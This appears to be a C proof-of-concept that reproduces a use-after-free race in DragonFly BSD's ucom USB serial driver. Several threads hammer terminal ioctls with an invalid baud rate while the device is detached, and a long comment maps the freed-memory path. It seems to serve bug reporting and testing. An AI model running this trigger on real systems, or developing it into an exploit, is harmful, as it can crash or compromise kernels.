/*
 * DF-5320 PoC v2 -- race in-flight ucom ioctls against USB detach (kfree).
 *
 * On DragonFly, devfs revokes the vnode of a destroyed device node, so a
 * syscall issued AFTER the detach completed returns EBADF harmlessly.  The
 * use-after-free window is a syscall that is ALREADY INSIDE ucom_dev_ioctl
 * (past devfs_fo_ioctl's v_rdev check) when the driver's detach routine
 * returns and device_set_driver() kfrees the softc (M_BUS):
 *
 *   T1: ioctl -> ucom_dev_ioctl: sc=si_drv1 (valid) -> UCOM_MTX_LOCK(sc)
 *       ...blocked on the sc_lock which the USB thread holds in
 *       ucom_detach_tty's force-close section...
 *   T2 (usb): ucom_detach_tty drops sc_lock, ucom_detach returns,
 *       uftdi_detach returns, device_set_driver -> kfree(softc)
 *   T1: acquires the NOW-FREED embedded lock (lockmgr writes lock_owner
 *       into freed slab), then walks the freed softc: HL_READY/GONE stale
 *       bits, ttioctl -> ttparam -> ucom_param -> ucom_queue_command ->
 *       usb_proc_msignal(&ssc->sc_tq,...) on the freed+drained usb_process.
 *
 * This program keeps N threads spinning TIOCSETA/TIOCGETA/TIOCMGET on one
 * open fd; the orchestrator unplugs the USB device while the storm runs.
 */
#include <sys/ioctl.h>
#include <pthread.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>
#include <time.h>
#include <unistd.h>
#include <errno.h>

static volatile int stop;
static const char *dev;

static void *
storm(void *arg)
{
	struct termios tio;
	int fd, id = (int)(intptr_t)arg, d, i = 0, rc;

	while (!stop) {
		fd = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY);
		if (fd < 0) {
			usleep(200);
			continue;
		}
		/*
		 * Re-open each iteration as well: the detach/kfree-vs-devfs
		 * destroy race also makes fresh opens land on the freed softc.
		 */
		for (i = 0; i < 50 && !stop; i++) {
			rc = ioctl(fd, TIOCMGET, &d);
			if (rc < 0 && errno == EBADF)
				break;
			rc = tcgetattr(fd, &tio);
			if (rc < 0 && errno == EBADF)
				break;
			tio.c_ispeed = tio.c_ospeed = 123456;
			cfsetospeed(&tio, (speed_t)123456); /* invalid rate:
							     forces the
							     pre_param walk */
			cfsetispeed(&tio, (speed_t)123456);
			rc = tcsetattr(fd, TCSANOW, &tio);
			if (rc < 0 && errno == EBADF)
				break;
			rc = ioctl(fd, TIOCFLUSH, &d);
			if (rc < 0 && errno == EBADF)
				break;
		}
		close(fd);
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th[8];
	int i, secs;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <ttydev> <seconds>\n", argv[0]);
		exit(2);
	}
	dev = argv[1];
	secs = atoi(argv[2]);

	for (i = 0; i < 8; i++)
		pthread_create(&th[i], NULL, storm, (void *)(intptr_t)i);
	sleep(secs);
	stop = 1;
	for (i = 0; i < 8; i++)
		pthread_join(th[i], NULL);
	printf("[*] storm finished\n");
	return (0);
}
